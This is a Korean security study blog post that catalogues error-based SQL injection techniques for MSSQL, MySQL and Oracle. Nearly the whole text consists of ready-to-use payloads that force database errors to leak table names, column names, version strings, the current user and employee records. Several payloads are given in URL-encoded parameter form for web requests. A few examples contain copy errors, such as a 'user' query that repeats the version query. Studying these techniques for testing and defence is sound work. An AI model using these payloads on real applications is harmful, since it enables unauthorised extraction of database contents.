정보보안공부

SQL Injection - Error-Based Sql Injection 본문

Web

SQL Injection - Error-Based Sql Injection

Steady_sp 2019. 9. 22. 13:30

# Error-Based Sql Injection

@Mssql

- 문자형 데이터를 숫자로 변환을 시도하며 변환이 불가한 문자형 데이터가 무엇인지 함께 표기된다.

- 숫자와 문자 데이터를 조건 비교 또는 사칙 연산을 수행하면 에러가 유발되며 문자형 데이터가 노출된다.

1) sys.objects / sys.columns를 이용한 데이터 조회

*** 에러를 유발해 테이블 1개씩 조회하기 - row_number()

#> select 1+(select name from (select row_number() over(order by name)rowidx, name from sys.objects where type=0x55)T where rowidx=1);

=> 숫자형 1과 서브쿼리의 출력 결과인 문자형을 덧셈연산하면 에러가 발생한다.

=> 웹 서비스에서 +연산자 사용시 화이트 스페이스 형태로 인식되므로 URL 인코딩한 값인 %2b로 사용해야한다. 파라미터=(select 1%2b(select name from (select row_number() over(order by name)rowidx, name from sys.objects where type=0x55)T where rowidx=1))-- 형태로 요청하게되면 에러구문 내 조회하려는 데이터가 출력된다.

 

*** 에러를 유발해 Employees 테이블의 컬럼 1개씩 조회하기 - row_number()

#> select 1+(select name from (select row_number() over(order by col.name)rowidx, col.name from sys.objects obj, sys.columns col where obj.object_id=col.object_id and obj.name='Employees')T where rowidx=1);

=> 숫자형 1과 서브쿼리의 출력 결과인 문자형을 덧셈연산하면 에러가 발생한다.

=> 컬럼 조회 시 object_id 값을 통해 조회해야 하므로 sys.objects와 sys.columns를 join문으로 조회한다. rowidx=n 형태로 1개씩 n번째까지 조회가 가능하다.

 

*** 에러를 유발해 여러 컬럼의 값을 한번에 조회하기 - row_number()

#> select 1+(select concat_ws(0x2c,firstname,lastname) from (select row_number() over(order by employeeid)rowidx, firstname, lastname from Employees)T where rowidx=1);

=> 숫자형 1과 서브쿼리의 출력 결과인 문자형을 덧셈연산하면 에러가 발생한다.

=> order by는 고유한 값인 employeeid를 사용한다. 문자열을 이을 때 concat_ws를 사용하며 0x2c는 ','를 의미한다.

 

2) information_schema.tables / information_schema.columns를 이용한 데이터 조회

*** 에러를 유발해 테이블 1개씩 조회하기 - row_number()

#> select 1+(select table_name from (select row_number() over(order by table_name)rowidx, table_name from information_schema.tables where table_type='base table')T where rowidx=1);

=> 숫자형 1과 서브쿼리의 출력 결과인 문자형을 덧셈연산하면 에러가 발생한다.

=> row_number()을 통해 새로운 컬럼을 만들어 oder by로 정렬한 뒤 조회할 테이블의 순서를 지정한다.

=> 웹 서비스에서 +연산자 사용시 화이트 스페이스 형태로 인식되므로 URL 인코딩한 값인 %2b로 사용해야한다. 파라미터=(select 1%2b(select table_name from (select row_number() over(order by table_name)rowidx, table_name from information_schema.tables where table_type='base table')T where rowidx=1))-- 형태로 요청하게되면 에러구문 내 조회하려는 데이터가 출력된다.

 

*** 에러를 유발해 Employees 테이블의 컬럼 1개씩 조회하기 - row_number()

#> select 1+(select column_name from (select row_number() over(order by column_name)rowidx, column_name from information_schema.columns where table_name='Employees')T where rowidx=1);

=> 숫자형 1과 서브쿼리의 출력 결과인 문자형을 덧셈연산하면 에러가 발생한다.

=> row_number()을 통해 새로운 컬럼을 만들어 oder by로 정렬한 뒤 조회할 테이블의 순서를 지정한다.

=> 컬럼 조회 시 object_id 값을 통해 조회해야 하므로 sys.objects와 sys.columns를 join문으로 조회한다. rowidx=n 형태로 1개씩 n번째까지 조회가 가능하다.

 

*** 에러를 유발해 여러 컬럼의 값을 한번에 조회하기 - row_number()

#> select 1+(select concat_ws(0x2c,firstname,lastname) from (select row_number() over(order by employeeid)rowidx, firstname, lastname from Employees)T where rowidx=1);

=> 숫자형 1과 서브쿼리의 출력 결과인 문자형을 덧셈연산하면 에러가 발생한다.

=> row_number()을 통해 새로운 컬럼을 만들어 oder by로 정렬한 뒤 조회할 테이블의 순서를 지정한다.

=> order by는 고유한 값인 employeeid를 사용한다. 문자열을 이을 때 concat_ws를 사용하며 0x2c는 ','를 의미한다.

 

 

@Mysql

1) Double Query Injection - count(*), concat, floor(rand(0)*2), group by

- 집계함수(count(*))와 랜덤함수가 포함되어 있는 floor(rand(0)*2)와 group by 절의 조합에서 발생하는 group_key 에러를 이용한 방식이다.

 

*** 에러를 유발해 테이블 1개씩 조회하기 - limit

#> select 1 from (select count(*), concat((select table_name from information_schema.tables where table_type = 'base table' limit 0,1),floor(rand(0)*2))a from information_schema.tables group by a)b;

=> limit n,1를 이용해 1개의 테이블씩 n번째 테이블까지 조회가 가능하다.

=> 위의 쿼리가 웹 통신에서 작성하게되면 URL?파라미터=값 일 경우 파라미터=(select 1 from (select count(*), concat((select table_name from information_schema.tables where table_type = 'base table' limit 0,1),floor(rand(0)*2))a from information_schema.tables group by a)b)-- 형태로 작성하여 쿼리문이 실행되어 에러가 발생하도록 작성해야한다.

 

*** 에러를 유발해 Employees 테이블의 컬럼 1개씩 조회하기 - limit

#> select 1 from (select count(*), concat((select column_name from information_schema.columns where table_name = 'Employees' limit 0,1),floor(rand(0)*2))a from information_schema.TABLES group by a)b;

=> limit n,1를 이용해 1개의 컬럼씩 n번째 컬럼명까지 조회가 가능하다.

 

*** 에러를 유발해 여러 컬럼의 값을 한번에 조회하기 - limit

#> select 1 from (select count(*), concat((select concat_ws(0x2c,firstname,lastname) from Employees limit 0,1), floor(rand(0)*2))a from information_schema.tables group by a)b;

=> limit n,1를 이용해 1부터씩 n번째까지 조회가 가능하다.

=> 문자열을 이을 때 concat_ws를 사용하며 0x2c는 ','를 의미한다.

 

2) XML 내장함수

- Extractvalue('xml 데이터', 'xpath 표현식')

=> xpath 표현식을 입력하는 두번 째 인자에서 에러가 발생하면 해당 구문이 노출된다.

=> 에러 유발을 위해서 xpath 표현식에 현재 노드를 뜻하는 "."에 문자열을 추가하는 형태로 작성한다.

 

*** 에러를 유발해 테이블 1개씩 조회하기 - limit

#> select extractvalue(1, concat(0x2e, (select table_name from information_schema.tables where table_type='base table' limit 0,1)));

=> limit n,1를 이용해 1개의 테이블씩 n번째 테이블까지 조회가 가능하다.

=> 0x2e는 '.'를 의미한다. concat을 이용해 .뒤에 출력하려는 문자열을 서브쿼리 형태로 작성한다.

 

*** 에러를 유발해 Employees 테이블의 컬럼 1개씩 조회하기 - limit

#> select extractvalue(1, concat(0x2e, (select column_name from information_schema.columns where table_name = 'Employees' limit 0,1)));

=> limit n,1를 이용해 1개의 테이블씩 n번째 테이블까지 조회가 가능하다.

=> 0x2e는 '.'를 의미한다. concat을 이용해 .뒤에 출력하려는 문자열을 서브쿼리 형태로 작성한다.

 

*** 에러를 유발해 여러 컬럼의 값을 한번에 조회하기 - limit

#> select extractvalue(1, concat(0x2e, (select concat_ws(0x2c, firstname, lastname) from Employees limit 0,1)));

=> limit n,1를 이용해 1부터씩 n번째까지 조회가 가능하다.

=> 0x2e는 '.'를 의미한다. concat을 이용해 .뒤에 출력하려는 문자열을 서브쿼리 형태로 작성한다.

=> 에러를 통해 출력하는 데이터는 concat_ws를 이용해 0x2c (',')로 구분하여 출력한다.

 

 

- UpdateXML('xml 데이터', 'xpath 표현식', '수정할 xml 데이터')

=> xpath 표현식을 입력하는 두번 째 인자에서 에러가 발생하면 해당 구문이 노출된다.

=> 에러 유발을 위해서 xpath 표현식에 현재 노드를 뜻하는 "."에 문자열을 추가하는 형태로 작성한다.

 

*** 에러를 유발해 테이블 1개씩 조회하기 - limit

#> select updatexml(1, concat(0x2e, (select table_name from information_schema.tables where table_type='base table' limit 0,1)),1);

=> limit n,1를 이용해 1개의 테이블씩 n번째 테이블까지 조회가 가능하다.

=> 0x2e는 '.'를 의미한다. concat을 이용해 .뒤에 출력하려는 문자열을 서브쿼리 형태로 작성한다.

 

*** 에러를 유발해 Employees 테이블의 컬럼 1개씩 조회하기 - limit

#> select updatexml(1, concat(0x2e, (select column_name from information_schema.columns where table_name = 'Employees' limit 0,1)),1);

=> limit n,1를 이용해 1개의 테이블씩 n번째 테이블까지 조회가 가능하다.

=> 0x2e는 '.'를 의미한다. concat을 이용해 .뒤에 출력하려는 문자열을 서브쿼리 형태로 작성한다.

 

*** 에러를 유발해 여러 컬럼의 값을 한번에 조회하기 - limit

#> select updatexml(1, concat(0x2e, (select concat_ws(0x2c, firstname, lastname) from Employees limit 0,1)),1);

=> limit n,1를 이용해 1부터씩 n번째까지 조회가 가능하다.

=> 0x2e는 '.'를 의미한다. concat을 이용해 .뒤에 출력하려는 문자열을 서브쿼리 형태로 작성한다.

 

 

@Oracle

1) Network 내장함수 - oracle 10g 버전

- UTL_INADDR.GET_HOST_NAME

=> IP주소가 주어진 로컬 또는 원격 호스트의 이름을 검색

- UTL_INADDR.GET_HOST_ADDRESS

=> 이름이 지정된 로컬 또는 원격 호스트의 IP 주소를 검색

 

*** 에러를 유발해 버전명 조회하기

#> select utl_inaddr.get_host_name((select banner from v$version where rownum=1)) from dual;

 

*** 에러를 유발해 유저명 조회하기

#> select utl_inaddr.get_host_name((select user from dual)) from dual;

 

*** 에러를 유발해 테이블 1개씩 조회하기 - rownum

#> select utl_inaddr.get_host_name((select table_name from (select rownum rowidx, table_name from tabs) where rowidx=1)) from dual;

=> rownum을 이용해 1개의 테이블씩 n번째 테이블까지 조회가 가능하다.

 

*** 에러를 유발해 Employees 테이블의 컬럼 1개씩 조회하기 - rownum

#> select utl_inaddr.get_host_name((select column_name from (select rownum rowidx, column_name from cols where table_name = 'EMPLOYEES') where rowidx=1)) from dual;

=> rownum을 이용해 1개의 컬럼씩 n번째 컬럼까지 조회가 가능하다.

 

*** 에러를 유발해 여러 컬럼의 값을 한번에 조회하기 - rownum

#> select utl_inaddr.get_host_name((select first_name || ',' || last_name from (select rownum rowidx, first_name, last_name from EMPLOYEES) where rowidx=1)) from dual;

=> limit n,1를 이용해 1부터씩 n번째까지 조회가 가능하다.

=> || 는 조회한 값을 이어준다. 웹 통신에서 사용시 %7C%7C 로 사용해야한다.

 

 

1) XML 내장함수 - oracle 10g,11g 버전

- DBMS_XMLGEN.GETXML

=> DBMS_XMLGEN.GETXML함수는 SQL 쿼리 실행 결과를 xml 포맷으로 출력한다.

=> 컬럼 객체명에 화이트 스페이스가 포함되어 있을 경우 " "(쌍따음표)로 표기하며, 30자로 길이제한이 있어 substr을 이용해 30자로 제한해야한다. 30자 길이제한이 존재하지 않으면 식별자가 길다는 에러가 발생하므로 Injection이 불가하다.

 

*** 에러를 유발해 버전명 조회하기

#> select to_char(dbms_xmlgen.getxml('select+"'||substr((select banner from v$version where rownum=1),1,30)||'" from dual')) from dual;

 

*** 에러를 유발해 유저명 조회하기

#> select to_char(dbms_xmlgen.getxml('select+"'||substr((select user from dual),1,30)||'" from dual')) from dual;

 

*** 에러를 유발해 테이블 1개씩 조회하기 - rownum

#> select to_char(dbms_xmlgen.getxml('select "' || substr((select table_name from (select rownum rowidx, table_name from tabs) where rowidx=1),1,30) || '" from dual')) from dual;

=> rownum을 이용해 1개의 테이블씩 n번째 테이블까지 조회가 가능하다.

 

*** 에러를 유발해 Employees 테이블의 컬럼 1개씩 조회하기 - rownum

#> select to_char(dbms_xmlgen.getxml('select "' || substr((select column_name from (select rownum rowidx, column_name from cols where table_name='EMPLOYEES') where rowidx=1),1,30) || '" from dual')) from dual;

=> rownum을 이용해 1개의 컬럼씩 n번째 컬럼까지 조회가 가능하다.

 

*** 에러를 유발해 여러 컬럼의 값을 한번에 조회하기 - rownum

#> select to_char(dbms_xmlgen.getxml('select "' || substr((select first_name || ',' || last_name from (select rownum rowidx, first_name, last_name from EMPLOYEES) where rowidx=1),1,30) || '" from dual')) from dual;

=> rownum을 이용해 1부터씩 n번째까지 조회가 가능하다.

=> || 는 조회한 값을 이어준다. 웹 통신에서 사용시 %7C%7C 로 사용해야한다.

 

 

- EXTRACT 함수 사용

- DBMS_XMLGEN.GETXMLTYPE

 

*** 에러를 유발해 버전명 조회하기

#> select to_number(dbms_xmlgen.getxmltype('select 1 from dual').extract('.'|| (select banner from v$version where rownum=1))) from dual;

 

*** 에러를 유발해 유저명 조회하기

#> select to_number(dbms_xmlgen.getxmltype('select 1 from dual').extract('.'|| (select user from dual))) from dual;

 

*** 에러를 유발해 테이블 1개씩 조회하기 - rownum

#> select to_number(dbms_xmlgen.getxmltype('select 1 from dual').extract('.'||(select table_name from (select rownum rowidx, table_name from tabs) where rowidx=5))) from dual;

=> rownum을 이용해 1개의 테이블씩 n번째 테이블까지 조회가 가능하다.

 

*** 에러를 유발해 Employees 테이블의 컬럼 1개씩 조회하기 - rownum

#> select to_number(dbms_xmlgen.getxmltype('select 1 from dual').extract('.'||(select column_name from (select rownum rowidx, column_name from cols where table_name='EMPLOYEES') where rowidx=2))) from dual;

=> rownum을 이용해 1개의 컬럼씩 n번째 컬럼까지 조회가 가능하다.

 

*** 에러를 유발해 여러 컬럼의 값을 한번에 조회하기 - rownum

#> select to_number(dbms_xmlgen.getxmltype('select 1 from dual').extract('.'||(select first_name || ',' || last_name from (select rownum rowidx, first_name, last_name from EMPLOYEES) where rowidx=1))) from dual;

=> rownum을 이용해 1부터씩 n번째까지 조회가 가능하다.

=> || 는 조회한 값을 이어준다. 웹 통신에서 사용시 %7C%7C 로 사용해야한다.

 

- rawtohex

=> rawtohex(XMLType((select '<start_'|| rawtohex() ||'_end:root>' from dual))) 형태로 에러메시지 내 조회하려는 데이터를 rawtohex()안에 쿼리로 작성하여 조회된 hex 값을 디코딩하여 데이터를 확인한다.

 

*** 에러를 유발해 버전명 조회하기

#> select rawtohex(xmltype((select '<start_'||rawtohex((select banner from v$version where rownum=1))||'_end:root>' from dual))) from dual;

 

*** 에러를 유발해 유저명 조회하기

#> select rawtohex(xmltype((select '<start_'||rawtohex((select banner from v$version where rownum=1))||'_end:root>' from dual))) from dual;

 

*** 에러를 유발해 테이블 1개씩 조회하기 - rownum

#> select rawtohex(xmltype((select '<start_'||rawtohex((select table_name from (select rownum rowidx, table_name from tabs) where rowidx=5))||'_end:root>' from dual))) from dual;

=> rownum을 이용해 1개의 테이블씩 n번째 테이블까지 조회가 가능하다.

 

*** 에러를 유발해 Employees 테이블의 컬럼 1개씩 조회하기 - rownum

#> select rawtohex(xmltype((select '<start_'||rawtohex((select column_name from (select rownum rowidx, column_name from cols where table_name='EMPLOYEES') where rowidx=2))||'_end:root>' from dual))) from dual;

=> rownum을 이용해 1개의 컬럼씩 n번째 컬럼까지 조회가 가능하다.

 

*** 에러를 유발해 여러 컬럼의 값을 한번에 조회하기 - rownum

#> select rawtohex(xmltype((select '<start_'||rawtohex((select first_name || ',' || last_name from (select rownum rowidx, first_name, last_name from EMPLOYEES) where rowidx=1))||'_end:root>' from dual))) from dual;

=> rownum을 이용해 1부터씩 n번째까지 조회가 가능하다.

=> || 는 조회한 값을 이어준다. 웹 통신에서 사용시 %7C%7C 로 사용해야한다.

 

Comments